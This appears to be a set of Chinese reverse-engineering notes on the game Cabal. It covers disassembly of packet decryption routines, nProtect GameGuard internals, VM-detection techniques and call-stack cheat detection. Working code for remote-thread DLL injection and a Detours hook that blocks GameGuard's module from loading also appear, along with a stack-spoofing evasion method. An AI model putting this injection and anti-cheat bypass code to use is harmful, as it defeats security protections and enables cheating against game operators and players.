EC cmp cx,0xEC3B 004 A3D1C |. 57 push edi004 A3D1D |. 894 D F8 mov [local.2 ],ecx004 A3D20 |. 75 08 jnz XMain.004 A3D2A004 A3D22 |. 8 D4E 08 lea ecx,dword ptr ds:[esi+0x8 ]004 A3D25 |. 8 D7E 0 C lea edi,dword ptr ds:[esi+0xC ]004 A3D28 |. EB 06 jmp XMain.004 A3D30004 A3D2A |> 8 D4E 04 lea ecx,dword ptr ds:[esi+0x4 ]004 A3D2D |. 8 D7E 08 lea edi,dword ptr ds:[esi+0x8 ]004 A3D30 |> 837 D 0 C 0 A cmp [arg.2 ],0xA 004 A3D34 |. 894 D FC mov [local.1 ],ecx004 A3D37 |. 897 D 08 mov [arg.1 ],edi004 A3D3A |. 0F 82 CA000000 jb Main.004 A3E0A004 A3D40 |. 8B 0E mov ecx,dword ptr ds:[esi]004 A3D42 |. 3308 xor ecx,dword ptr ds:[eax]004 A3D44 |. 53 push ebx004 A3D45 |. 890 E mov dword ptr ds:[esi],ecx004 A3D47 |. 8B 50 0 C mov edx,dword ptr ds:[eax+0xC ]004 A3D4A |. BB FF3F0000 mov ebx,0x3FFF 004 A3D4F |. 23 CB and ecx,ebx004 A3D51 |. 0F AF48 08 imul ecx,dword ptr ds:[eax+0x8 ]004 A3D55 |. 66 :817 D F8 3B >cmp word ptr ss:[ebp-0x8 ],0xEC3B 004 A3D5B |. 8B 148A mov edx,dword ptr ds:[edx+ecx*4 ]004 A3D5E |. 75 1 A jnz XMain.004 A3D7A004 A3D60 |. 8B 4E 04 mov ecx,dword ptr ds:[esi+0x4 ]004 A3D63 |. 33 CA xor ecx,edx004 A3D65 |. 894 E 04 mov dword ptr ds:[esi+0x4 ],ecx004 A3D68 |. 8B 50 0 C mov edx,dword ptr ds:[eax+0xC ]004 A3D6B |. 23 CB and ecx,ebx004 A3D6D |. 0F AF48 08 imul ecx,dword ptr ds:[eax+0x8 ]004 A3D71 |. 8B 148A mov edx,dword ptr ds:[edx+ecx*4 ]004 A3D74 |. 836 D 0 C 0 C sub [arg.2 ],0xC 004 A3D78 |. EB 04 jmp XMain.004 A3D7E004 A3D7A |> 836 D 0 C 08 sub [arg.2 ],0x8 004 A3D7E |> 8B 4D 0 C mov ecx,[arg.2 ]004 A3D81 |. C1E9 02 shr ecx,0x2 004 A3D84 |. 85 C9 test ecx,ecx004 A3D86 |. 7 E 1 D jle XMain.004 A3DA5004 A3D88 |. 8B F1 mov esi,ecx004 A3D8A |> 8B 0F /mov ecx,dword ptr ds:[edi] 004 A3D8C |. 33 CA |xor ecx,edx004 A3D8E |. 890F |mov dword ptr ds:[edi],ecx004 A3D90 |. 8B 50 0 C |mov edx,dword ptr ds:[eax+0xC ]004 A3D93 |. 23 CB |and ecx,ebx004 A3D95 |. 0F AF48 08 |imul ecx,dword ptr ds:[eax+0x8 ]004 A3D99 |. 8B 148A |mov edx,dword ptr ds:[edx+ecx*4 ]004 A3D9C |. 83 C7 04 |add edi,0x4 004 A3D9F |. 4 E |dec esi004 A3DA0 |.^ 75 E8 \jnz XMain.004 A3D8A004 A3DA2 |. 897 D 08 mov [arg.1 ],edi004 A3DA5 |> 8B 4D 0 C mov ecx,[arg.2 ]004 A3DA8 |. 83E1 03 and ecx,0x3 004 A3DAB |. 8B 348D DC52B6>mov esi,dword ptr ds:[ecx*4 +0xB652DC ] 004 A3DB2 |. 8B D9 mov ebx,ecx004 A3DB4 |. F7D6 not esi004 A3DB6 |. 8975 F8 mov [local.2 ],esi004 A3DB9 |. 23F 2 and esi,edx004 A3DBB |. 3337 xor esi,dword ptr ds:[edi]004 A3DBD |. C1E9 02 shr ecx,0x2 004 A3DC0 |. 8975 0 C mov [arg.2 ],esi004 A3DC3 |. 8 D75 0 C lea esi,[arg.2 ]004 A3DC6 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>004 A3DC8 |. 8B CB mov ecx,ebx004 A3DCA |. 83E1 03 and ecx,0x3 004 A3DCD |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>004 A3DCF |. 8B 7D 0 C mov edi,[arg.2 ]004 A3DD2 |. 8B 4D 08 mov ecx,[arg.1 ]004 A3DD5 |. 8939 mov dword ptr ds:[ecx],edi004 A3DD7 |. 8B 58 0 C mov ebx,dword ptr ds:[eax+0xC ]004 A3DDA |. 8B 4D F8 mov ecx,[local.2 ]004 A3DDD |. BE FF3F0000 mov esi,0x3FFF 004 A3DE2 |. 23 D6 and edx,esi004 A3DE4 |. 0F AF50 08 imul edx,dword ptr ds:[eax+0x8 ]004 A3DE8 |. 23 CF and ecx,edi004 A3DEA |. 330 C93 xor ecx,dword ptr ds:[ebx+edx*4 ]004 A3DED |. 8B 55 FC mov edx,[local.1 ]004 A3DF0 |. 890 A mov dword ptr ds:[edx],ecx004 A3DF2 |. 8B 48 04 mov ecx,dword ptr ds:[eax+0x4 ]004 A3DF5 |. 8B 50 08 mov edx,dword ptr ds:[eax+0x8 ]004 A3DF8 |. 41 inc ecx004 A3DF9 |. 23 CE and ecx,esi004 A3DFB |. 0F AFD1 imul edx,ecx004 A3DFE |. 8948 04 mov dword ptr ds:[eax+0x4 ],ecx004 A3E01 |. 8B 48 0 C mov ecx,dword ptr ds:[eax+0xC ]004 A3E04 |. 8B 0C91 mov ecx,dword ptr ds:[ecx+edx*4 ]004 A3E07 |. 8908 mov dword ptr ds:[eax],ecx004 A3E09 |. 5B pop ebx004 A3E0A |> 5F pop edi004 A3E0B |. 5 E pop esi004 A3E0C |. C9 leave004 A3E0D \. C2 0800 retn 0x8 0019 DE48 51 35 36 B5 60 69 B4 9B 22 2F C7 02 F0 F0 19 Q56礰i礇"/?痧. 19536EC0 6D 98 1B C8 4F 4F 22 D0 83 9A 6E 40 11 58 72 m?萇O" 袃歯@Xr.
DUMP 内存中的 cabal,以供 IDA 分析。dump 动态代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 _DWORD *__thiscall sub_4A3D07 (_DWORD *this , __int16 *a2, unsigned int a3) { _DWORD *result; __int16 *v5; __int16 *v6; int v7; int v8; int v9; unsigned int v10; int v11; unsigned int v12; unsigned int v13; int v14; int v15; __int16 v16; int v17; _DWORD *v18; __int16 *v19; result = this ; v16 = *a2; if ( *a2 == -5061 ) { v5 = a2 + 4 ; v6 = a2 + 6 ; } else { v5 = a2 + 2 ; v6 = a2 + 4 ; } v18 = v5; v19 = v6; if ( a3 >= 0xA ) { v7 = *result ^ *(_DWORD *)a2; *(_DWORD *)a2 = v7; v8 = *(_DWORD *)(result[3 ] + 4 * result[2 ] * (v7 & 0x3FFF )); if ( v16 == -5061 ) { v9 = v8 ^ *((_DWORD *)a2 + 1 ); *((_DWORD *)a2 + 1 ) = v9; v8 = *(_DWORD *)(result[3 ] + 4 * result[2 ] * (v9 & 0x3FFF )); a3 -= 12 ; } else { a3 -= 8 ; } if ( a3 >> 2 ) { v10 = a3 >> 2 ; do { v11 = v8 ^ *(_DWORD *)v6; *(_DWORD *)v6 = v11; v8 = *(_DWORD *)(result[3 ] + 4 * result[2 ] * (v11 & 0x3FFF )); v6 += 2 ; --v10; } while ( v10 ); v19 = v6; } v17 = ~dword_B652DC[a3 & 3 ]; v12 = a3 & 3 ; a3 = *(_DWORD *)v6 ^ v8 & v17; qmemcpy (v6, &a3, v12); v13 = a3; *(_DWORD *)v19 = a3; *v18 = *(_DWORD *)(result[3 ] + 4 * result[2 ] * (v8 & 0x3FFF )) ^ v13 & v17; v14 = (result[1 ] + 1 ) & 0x3FFF ; v15 = v14 * result[2 ]; result[1 ] = v14; *result = *(_DWORD *)(result[3 ] + 4 * v15); } return result; }
# 解密函数分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 004 A7E33 . 50 push eax 194B E318004 A7E34 . FF76 04 push dword ptr ds:[esi+0x4 ] 004 A7E37 . FF15 94660E01 call dword ptr ds:[0x10E6694 ] ; Main.01100553 194B E318 C0 00 73 04 70 52 21 19 ?spR!.004 A3E52 /> \55 push ebp004 A3E53 |. 8B EC mov ebp,esp004 A3E55 |. 53 push ebx004 A3E56 |. 8B 5D 0 C mov ebx,[arg.2 ]004 A3E59 |. 56 push esi004 A3E5A |. 8B 75 08 mov esi,[arg.1 ]004 A3E5D |. 8B 06 mov eax,dword ptr ds:[esi]004 A3E5F |. 57 push edi004 A3E60 |. 8B 79 0 C mov edi,dword ptr ds:[ecx+0xC ]004 A3E63 |. 8B C8 mov ecx,eax004 A3E65 |. 81F 1 F18CB37A xor ecx,0x7AB38CF1 004 A3E6B |. 890 E mov dword ptr ds:[esi],ecx004 A3E6D |. 83 EB 04 sub ebx,0x4 004 A3E70 |. 8 D56 04 lea edx,dword ptr ds:[esi+0x4 ]004 A3E73 |. 8B CB mov ecx,ebx004 A3E75 |. BE FF3F0000 mov esi,0x3FFF 004 A3E7A |. 23 C6 and eax,esi004 A3E7C |. 8B 0487 mov eax,dword ptr ds:[edi+eax*4 ]004 A3E7F |. C1E9 02 shr ecx,0x2 004 A3E82 |. 85 C9 test ecx,ecx004 A3E84 |. 7 E 16 jle XMain.004 A3E9C004 A3E86 |. 894 D 08 mov [arg.1 ],ecx004 A3E89 |> 8B 0A /mov ecx,dword ptr ds:[edx]004 A3E8B |. 33 C1 |xor eax,ecx004 A3E8D |. 8902 |mov dword ptr ds:[edx],eax004 A3E8F |. 23 CE |and ecx,esi004 A3E91 |. 8B 048F |mov eax,dword ptr ds:[edi+ecx*4 ]004 A3E94 |. 83 C2 04 |add edx,0x4 004 A3E97 |. FF4D 08 |dec [arg.1 ]004 A3E9A |.^ 75 ED \jnz XMain.004 A3E89004 A3E9C |> 83E3 03 and ebx,0x3 004 A3E9F |. 8B 0C9D F052B6>mov ecx,dword ptr ds:[ebx*4 +0xB652F0 ]004 A3EA6 |. 5F pop edi004 A3EA7 |. F7D1 not ecx004 A3EA9 |. 23 C8 and ecx,eax004 A3EAB |. 310 A xor dword ptr ds:[edx],ecx004 A3EAD |. 5 E pop esi004 A3EAE |. 5B pop ebx004 A3EAF |. 5 D pop ebp004 A3EB0 \. C2 0800 retn 0x8 int __thiscall sub_4A3E52 (_DWORD *this , int *a2, int a3) { int v3; int v4; unsigned int v5; int *v6; int result; int v8; unsigned int v9; v3 = *a2; v4 = this [3 ]; *a2 ^= 0x7AB38CF1 u; v5 = a3 - 4 ; v6 = a2 + 1 ; result = *(_DWORD *)(v4 + 4 * (v3 & 0x3FFF )); if ( (unsigned int )(a3 - 4 ) >> 2 ) { v9 = v5 >> 2 ; do { v8 = *v6; *v6 ^= result; result = *(_DWORD *)(v4 + 4 * (v8 & 0x3FFF )); ++v6; --v9; } while ( v9 ); } *v6 ^= result & ~dword_B652F0[v5 & 3 ]; return result; }
# 解密 IP 分析
在弹窗的时候去 OD 搜索字符串,注意切换到 dll 中搜索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 68F81058 6A 00 push 0x0 68F8105A 6A 00 push 0x0 68F8105C 68 3042F868 push cabal_ho.68F84230 ; language.enc Debug!!!! 68F81061 6A 00 push 0x0 68F81063 FF15 D440F868 call dword ptr ds:[<&USER32.MessageBoxA>>; USER32.MessageBoxA 68F81069 8B4424 20 mov eax,dword ptr ss:[esp+0x20] 00501E0B . 55 push ebp ; /hTemplateFile => NULL 00501E0C . 68 80000000 push 0x80 ; |Attributes = NORMAL 00501E11 . 6A 03 push 0x3 ; |Mode = OPEN_EXISTING 00501E13 . 55 push ebp ; |pSecurity => NULL 00501E14 . 6A 01 push 0x1 ; |ShareMode = FILE_SHARE_READ 00501E16 . 68 00000080 push 0x80000000 ; |Access = GENERIC_READ 00501E1B . 57 push edi ; |FileName 00501E1C . FF15 18600E01 call dword ptr ds:[0x10E6018] ; \CreateFileA
VirtualProtectEx 修改分页内存属性
加载套接字库,创建套接字(WSAStartup ()/socket ());
向服务器发出连接请求(connect ());
和服务器进行通信(send ()/recv ());
关闭套接字,关闭加载的套接字库(closesocket ()/WSACleanup ())
# nprotect
nProtect GameGuard 含有即时变换侦测规则、可置于游戏可执行文件前使用,利用动态加密的方式达到防止游戏外挂的目的,有效防堵作弊程序(如加速器),以及侦测玩
家电脑有没有使用游戏插件等。
nProtect GameGuard 具有多种功能,例如:
透过持续扫描任何事先有登录过的代码、系统内部时间器运作等方式,侦测玩家电脑有没有使用游戏插件。
检测及阻挡恶意代码。
自动扫描工具。
即时变换侦测。
可停止鼠标及键盘的驱动程序及侧录程序。
可阻挡玩家及双重核心处理器(CPU)之不正当的操作。
占用甚少 CPU,不会拖慢电脑及游戏。
监控玩家之操作环境,以及一举一动
# NProtect GameGuard ini 文件破解手法之解密后的文件(一)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 配置文件解密后的: [GAMEMON] GAME_NAME=* UPDATE_SERVER=* UPDATE_PATH=/real/ BACKUP_SERVER= BACKUP_PATH= OPTION_VALUE=0 SPEEDCHECK_INTERVAL=1000 SENDERRLOG=3 GAMECRC=1 USE_GGSCAN=1 LOG_SERVER=* NO_USE_CHECKSC=1 NO_USE_CSR=1 USE_FHSH=1 BWTSERVER=bwt.nprotect2.net BWT_OPTION=1 USE_IHMON=1 RT_UPDATE=1 RT_UPTIME=7200 RT_ENDTIME=30 NO_PHIDE=1
# NProtect GameGuard ini 文件破解手法之解密函数(二)
对 LoadLibraryA 下段
# 游戏检测的对抗与防护艺术
从游戏外挂的利用角度来看,外挂的行为无非有如下两种:
修改游戏的关键数据和代码:属于篡改行为
call 游戏函数:属于未授权访问行为
游戏设计者针对这两种行为产生了无数的防护机制。然而道高一尺魔高一尺,逆向人员也根据游戏内的反外挂机制衍生出了相应的对抗手段。
栈回溯检测调用 call
xdbg 中 call stack
# call 的检测原理
当我们正常在游戏中吃药是没有检测的,那是因为我们完完整整的把游戏的代码全部调用了;而我们直接点吃药 call 的时候执行的代码是不完全的。
那么游戏的开发者就可以在吃药 call 的外层设置一个变量,并且给变量赋值,然后在吃药 call 内层的某一个位置对这个变量的值进行检测。如果值不对,说明代码没有被完全执行。
在检测完成之后,再修改这个变量的值到原始状态,然后进行下一次检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 //用于检测的全局变量 int status=0; function() { //调用其他代码........... status=1; 吃药call(); //调用其他代码........... } 吃药call() { //调用其他代码........... if(status==1) { //正常执行代码 } else { //检测到外挂 进行处理 } //再对status进行赋初始值 以便进行下一次检测 status=0; //调用其他代码........... }
# 虚拟机检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 虚拟机后门检测(IN) __try { __asm { push edx push ecx push ebx mov eax, 'VMXh' mov ebx, 0 // 将ebx设置为非幻数’VMXH’的其它值 mov ecx, 10 // 指定功能号,用于获取VMWare版本,当它为x14时用于获取VMware内存大小 mov edx, 'VX' // 端口号 in eax, dx // 从端口dx读取VMware版本到eax //若上面指定功能号为x14时,可通过判断eax中的值是否大于,若是则说明处于虚拟机中 cmp ebx, 'VMXh' // 判断ebx中是否包含VMware版本’VMXh’,若是则在虚拟机中 setz [rc] // 设置返回值 pop ebx pop ecx pop edx } rc = true; } __except(EXCEPTION_EXECUTE_HANDLER) //如果未处于VMware中,则触发此异常 { rc = false; } 虚拟机中IN读取指定端口不会异常,如果异常了为真实机。 /////////////////////////////////////////////////////////////////////////////////////////////// 时间戳指令检测 __asm { push eax RDTSC mov ifirst,eax RDTSC mov isecond,eax pop eax } isub = isecond - ifirst; if (isub > 0x0ff) //判断两次之差是否大于0xff { MessageBox(L"IN VM",L"Check VM",MB_OK); } else { MessageBox(L"Not in VM",L"Check VM",MB_OK); } ////////////////////////////////////////////////////////////////////////////////////////////////// MAC地址检测 虚拟机中MAC地址的头两个字节是000c或者0005 ULONG uInfo = GetAdaptersInfo(pAdapterInfo, &ulOutBufLen); pMac01 = (BYTE)pAdapterInfo->Address[0]; pMac02 = (BYTE)pAdapterInfo->Address[1]; if (pMac01 == 0x00 && (pMac02 == 0x0c || pMac02 == 0x05) ) MessageBox(L"IN VM",L"Check VM",MB_OK); else MessageBox(L"Not in VM",L"Check VM",MB_OK); ////////////////////////////////////////////////////////////////////////////////////////////////// 进程检测 vmtoolsd.exe,vmtoolsd.exe,VMwareTray.exe,vmacthlp.exe,VMUpgradeHelper.exe虚拟机中存在的进程。 枚举方式可以有多种: 1.创建进程快照(CreateToolhelp32Snapshot) 2. 枚举进程和枚举进程模块, EnumProcesses和EnumProcessModules 3.通过WMI接口查询进程。 ////////////////////////////////////////////////////////////////////////////////////////////////// 文件检测 通过打开虚拟机相关的文件进行判断 例如: C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe char *szFile = "C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe"; HANDLE hVmFile = CreateFileA(szFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if (hVmFile != INVALID_HANDLE_VALUE) MessageBox(L"In VM",L"Check VM",MB_OK); else MessageBox(L"Not In VM",L"Check VM",MB_OK); CloseHandle(hVmFile); ////////////////////////////////////////////////////////////////////////////////////////////////// 注册表检测 注册表里对应的虚拟机的信息非常多,由此可以操作判断虚拟机。 HKEY hKey = NULL; WCHAR * szSubKey = L"SOFTWARE\\VMware, Inc.\\VMware Tools"; ULONG uReg=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szSubKey ,0,KEY_READ,&hKey); if (uReg == ERROR_SUCCESS) MessageBox(L"In VM",L"Check VM",MB_OK); else MessageBox(L"Not In VM",L"Check VM",MB_OK); RegCloseKey(hKey); 磁盘型号Model Number Disk Serial Number : "WD-WMA9N2077672“ Disk Model Number : "WDC WD80EB-28CGH1 “ Disk Serial Numbe : 硬盘序列号 Disk Model Number : 硬盘型号 我本机的Model Number是:ST350041CC66 虚拟机中的Model Number:VMware,VMware Virtual S1.0 ////////////////////////////////////////////////////////////////////////////////////////////////// 显示卡检测 虚拟机的显示卡名称是VMware SVGA II if (EnumDisplayDevices(NULL, nDeviceIndex, &DispDev, 0)) { hr = StringCchCopy((STRSAFE_LPWSTR)lpszMonitorInfo, 0x100, (STRSAFE_LPWSTR)DispDev.DeviceString); if (FAILED(hr)) { return FALSE; } } else { bRet = FALSE; } ////////////////////////////////////////////////////////////////////////////////////////////////// 系统设备检测 虚拟机中存在通讯接口设备和磁盘设备 VMware VMCI Bus Device VMware, VMware Virtual S SCSI Disk Device 通过枚举系统所有设备信息 如果发现VMCI Device或者DISK Device就是在虚拟机中了 IDT基址检测 typedef struct {undefined WORD IDTLimit; // IDT的大小 WORD LowIDTbase; // IDT的低位地址 WORD HiIDTbase; // IDT的高位地址 } IDTINFO; Redpill作者(?不是bulepill么)在VMware上发现虚拟机系统上的IDT地址通常位于0xFFXXXXXX,而Virtual PC通常位于0xE8XXXXXX,而在真实主机上位于0x80xxxxxx。Redpill仅仅是通过判断执行SIDT指令后返回的第一字节是否大于0xD0,若是则说明它处于虚拟机,否则处于真实主机中。 ////////////////////////////////////////////////////////////////////////////////////////////////// LDT和GDT基址检测 在保护模式下,所有的内存访问都要通过全局描述符表(GDT)或者本地描述符表(LDT)才能进行。这些表包含有段描述符的调用入口。各个段描述符都包含有各段的基址,访问权限,类型和使用信息,而且每个段描述符都拥有一个与之相匹配的段选择子,各个段选择子都为软件程序提供一个GDT或LDT索引(与之相关联的段描述符偏移量),一个全局/本地标志(决定段选择子是指向GDT还是LDT),以及访问权限信息。 若想访问段中的某一字节,必须同时提供一个段选择子和一个偏移量。段选择子(寄存器)为段提供可访问的段描述符地址(在GDT 或者LDT 中)。 GDT的线性基址被保存在GDT寄存器(GDTR)中,而LDT的线性基址被保存在LDT寄存器(LDTR)中。 当LDT基址位于0x0000(只有两字节)时为真实主机,否则为虚拟 机,而当GDT基址位于0xFFXXXXXX时说明处于虚拟机中,否则为真实主机 unsigned short ldt_addr = 0; unsigned char ldtr[2] = {0}; __asm {undefined sldt ldtr } ldt_addr = *((unsigned short *)&ldtr); if(ldt_addr != 0x0000) {undefined MessageBox(L"IN VM",L"Check VM",MB_OK); } else {undefined MessageBox(L"Not in VM",L"Check VM",MB_OK); } GDT基址位于0xFFXXXXXX处于虚拟机中,真实机在x80XXXXXX unsigned int gdt_addr = 0; unsigned char gdtr[4]; _asm sgdt gdtr gdt_addr = *((unsigned int *)&gdtr[2]); printf("GDT BaseAddr:0x%x\n", gdt_addr); if((gdt_addr >> 24) == 0xff) {undefined MessageBox(L"IN VM",L"Check VM",MB_OK); } else {undefined MessageBox(L"Not in VM",L"Check VM",MB_OK); } /////////////////////////////////////////////////////////////////////////////////////////////// STR检测 在保护模式下运行的所有程序在切换任务时,对于当前任务中指向TSS的段选择器将会被存储在任务寄存器中,TSS中包含有当前任务的可执行环境状态,包括各种寄存器状态等等,当任务再次被执行时,处理器就会保存原先的任务状态。每项任务均有其自己的TSS,而我们可以通过STR指令来获取指向当前任务中TSS的段选择器。这里STR(Store task register)指令是用于将任务寄存器 (TR) 中的段选择器存储到目标操作数,目标操作数可以是通用寄存器或内存位置,使用此指令存储的段选择器指向当前正在运行的任务的任务状态段 (TSS)。在虚拟机和真实主机之中,通过STR读取的地址是不同的,当地址等于0x0040xxxx时,说明处于虚拟机中,否则为真实主机。 Str将任务寄存器(TR) 中的段选择器存储到目标操作数 当地址等于x0040xxxx时,说明处于虚拟机中,否则为真实机 unsigned char mem[2] = {0}; __asm str mem; if ( (mem[0]==0x00) && (mem[1]==0x40)) {undefined MessageBox(L"IN VM",L"Check VM",MB_OK); } else {undefined MessageBox(L"Not in VM",L"Check VM",MB_OK); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ///////////////////////////////////定义远程线程//////////////////////////////////////////// static VOID WINAPI RemoteThread(LPVOID lpParam) { PINJECTDATA myData=(PINJECTDATA)lpParam; DWORD dwGetModuleHandleA, dwLoadLibraryA, dwFreeLibrary, dwGetProcAddress, hKernel32; dwGetModuleHandleA= (DWORD)myData->_GetModuleHandleA; dwLoadLibraryA = (DWORD)myData->_LoadLibraryA; dwFreeLibrary = (DWORD)myData->_FreeLibrary; dwGetProcAddress = (DWORD)myData->_GetProcAddress; hKernel32 = myData->hKernel32; ///////////////////////下面的汇编代码是根据输出函数地址表找到相应的函数地址的RVA值//////////// _asm{ mov ebx,hKernel32 // <--- 这个是kernel32.dll的句柄,NP直接硬编码到这里 mov eax,dwGetModuleHandleA mov edx,[eax] // <--- 根据地址表找出相应函数的RVA值 add edx,ebx // <--- 函数地址=模块加载基地址(即handle)+相应RVA值 mov dwGetModuleHandleA,edx mov eax,dwLoadLibraryA mov edx,[eax] add edx,ebx mov dwLoadLibraryA,edx mov eax,dwFreeLibrary mov edx,[eax] add edx,ebx mov dwFreeLibrary,edx mov eax,dwGetProcAddress mov edx,[eax] add edx,ebx mov dwGetProcAddress,edx } /////////////////////////////////////////////////////////////////// myData->_GetModuleHandleA= (GETMODULEHANDLEA)dwGetModuleHandleA; myData->_LoadLibraryA = (LOADLIBRARYA) dwLoadLibraryA; myData->_FreeLibrary = (FREELIBRARY) dwFreeLibrary; myData->_GetProcAddress = (GETPROCADDRESS) dwGetProcAddress; myData->_LoadLibraryA(myData->szLibraryPath); // 加载DLL //////////////////////////////////////////////////// //你可以在这里添加其他代码 ////////////////////////////////////////////////// } **********************************************************************************************************
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 HMODULE WINAPI MyLoadLibraryA( __in LPCSTR lpLibFileName ) { if (strstr(lpLibFileName,"npggNT.des")!=NULL) { MessageBoxA(NULL,"kill npggNT.des 注入",NULL,0); return NULL; } else { return fnLoadLibraryA(lpLibFileName); } } CAntiGGHookDlg::CAntiGGHookDlg(CWnd* pParent /*=NULL*/) : CDialog(CAntiGGHookDlg::IDD, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CAntiGGHookDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CAntiGGHookDlg, CDialog) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() //}}AFX_MSG_MAP ON_BN_CLICKED(IDOK, &CAntiGGHookDlg::OnBnClickedOk) END_MESSAGE_MAP() // CAntiGGHookDlg 消息处理程序 BOOL CAntiGGHookDlg::OnInitDialog() { CDialog::OnInitDialog(); // 将“关于...”菜单项添加到系统菜单中。 // IDM_ABOUTBOX 必须在系统命令范围内。 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 SetIcon(m_hIcon, TRUE); // 设置大图标 SetIcon(m_hIcon, FALSE); // 设置小图标 // TODO: 在此添加额外的初始化代码 HMODULE dllhandle = NULL; if (GetModuleHandleA("kernel32.dll") != NULL) { dllhandle = GetModuleHandleA("kernel32.dll"); } else { dllhandle = LoadLibraryA("kernel32.dll"); } DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); fnLoadLibraryA = (lpfunLoadLibraryA)GetProcAddress(dllhandle, "LoadLibraryA"); DetourAttach(&(PVOID&)fnLoadLibraryA, MyLoadLibraryA); DetourTransactionCommit(); return TRUE; // 除非将焦点设置到控件,否则返回 TRUE }
# DLL 隐藏
# 基于调用栈及 CALL 检测方法(一)
原理
函数调用 CALL 指令可拆分为两步操作:
1)、将调用者的下一条指令(EIP)的地址压栈
2)、跳转至将要调用的函数地址中(相对偏移或绝对地址)
那么在执行到子函数首地址位置时,返回地址(即调用函数中调用位置下一条指令的地址)就已经存在于堆栈中了,并且是 ESP 指向地址的值。下面通过栈帧的概念,了解编译器在接下来对堆栈进行的操作。
简言之,栈帧就是利用 EBP(栈帧指针,请注意不是 ESP)寄存器访问栈内部局部变量、参数、函数返回地址等的手段。程序运行中,ESP 寄存器的值随时变化,访问栈中函数的局部变量、参数时,若以 ESP 值为基准编写程序会十分困难,并且也很难使 CPU 引用到正确的地址。
所以,调用某函数时,先要把用作基准点(函数起始地址)的 ESP 值保存到 EBP,并维持在函数内部。这样,无论 ESP 的值如何变化,以 EBP 的值为基准能够安全访问到相关函数的局部变量、参数、返回地址,这就是 EBP 寄存器作为栈帧指针的作用。
在函数体代码的任何位置,EBP 寄存器指向的地址始终存储属于它的调用函数的 EBP 的值,根据这个原理可逐级向调用函数、调用函数的调用函数进行遍历,向上回溯。
这样有什么用呢?在将属于调用函数的 EBP 的值压栈之前,ESP 指向的地址存储的是由 CALL 指令压栈的调用函数中调用位置的下一条指令的地址(原 EIP)。那么根据这个逻辑,可以通过上面回溯的各级 EBP 的值,并根据 EBP+sizeof (ULONG_PTR) 获取到函数调用者函数体中的地址(当前函数的返回地址)。有了每级调用的函数体中的地址,那么获取该函数的详细信息及函数符号就变得容易了
2. 对抗思路
分配内存地址作为基地址的内存空间,并将以当前 ESP 为基地址的一段栈内存片段的数据拷贝到了新分配的内存空间的高内存区域中,修改 ESP 和 EBP 寄存器的值为新缓冲区中对应的两个寄存器指针应该指向的位置,相当于对堆栈片段进行了平移。
平移时首先根据 ESP 和 EBP 寄存器指向的内存地址定位需要拷贝的数据范围。在这里可能会向 EBP 指向的地址上面多拷贝一部分数据,以将参数和返回地址等数据一并拷贝到新分配的缓冲区中。拷贝完成之后,将 ESP 和 EBP 寄存器指向新缓冲区中对应的位置。
这时开始程序对堆栈的操作将会在新分配的内存缓冲区中进行。在 ShellCode 代码执行即将完成时,应会再将 ESP 和 EBP 的值还原回原来真正栈里的地址,避免弹栈时进入上面未知的内存区域导致程序异常。
验证
为了验证这个判断是否有效和真实,接下来需要实现上面猜想中描述的操作,看看调试器或检测系统是否能够成功地进行栈回溯。
